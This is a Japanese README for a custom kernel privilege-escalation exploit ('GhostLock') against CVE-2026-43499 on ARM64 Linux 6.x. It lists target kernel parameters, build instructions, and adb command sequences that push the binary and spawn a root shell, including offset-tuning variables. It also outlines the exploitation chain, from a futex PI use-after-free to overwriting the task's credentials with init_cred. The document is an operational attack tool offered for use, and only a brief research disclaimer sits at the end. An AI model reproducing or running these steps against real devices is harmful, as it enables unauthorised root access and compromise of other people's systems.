GhostLock Custom — CVE-2026-43499 対応版
非 Android Linux 6.x ARM64 カーネル向けの GhostLock (CVE-2026-43499) 権限昇格エクスプロイト。
カーネル特徴
| 項目 | 値 |
|---|
| アーキテクチャ | ARM64 (AArch64) |
| VA_BITS | 39 |
| KIMAGE_TEXT_BASE | 0xffffffc008000000 |
| カーネルバージョン | 6.x |
| SELinux | なし |
| ashmem | なし |
| configfs | なし |
ビルド
ローカルビルド (クロスコンパイラが必要)
Android NDK ビルド
make android-arm64 NDK=/path/to/android-ndk
GitHub Actions (クラウドビルド)
プッシュ後に自動でビルドがトリガーされ、artifact をダウンロードできます。
使用方法
# ターゲットデバイスへプッシュ
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# root シェルを取得
adb shell /data/local/tmp/e --shell
# pselect オフセットを調整 (デフォルト値が動作しない場合)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# 物理ロードアドレスを指定
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
環境変数
権限昇格の原理
- futex PI レース:
FUTEX_CMP_REQUEUE_PI が remove_waiter() の UAF をトリガー
- pselect スタックオーバーフロー: 解放された
rt_mutex_waiter が stack_fds バッファに配置される
- PI ツリー書き込み: 細工した fake waiter により任意カーネルアドレスへの書き込みを実現
- cred の上書き:
task_struct->cred を init_cred で上書き
適合に関する説明
このバージョンは ghostlock-oneplus を基に簡素化されています:
- SELinux 無効化コードを削除 (このカーネルには SELinux がない)
- ashmem/configfs 関連コードを削除 (このカーネルにはこれらのコンポーネントがない)
- KernelSU インストールコードを削除
- SLIDE KASLR リークを削除 (loggers/nfulnl_logger がない)
- Android 専用コード (miniADB など) を削除
トラブルシューティング
免責事項
本ツールはセキュリティ研究のみを目的としています。使用者はすべての責任を負うものとします。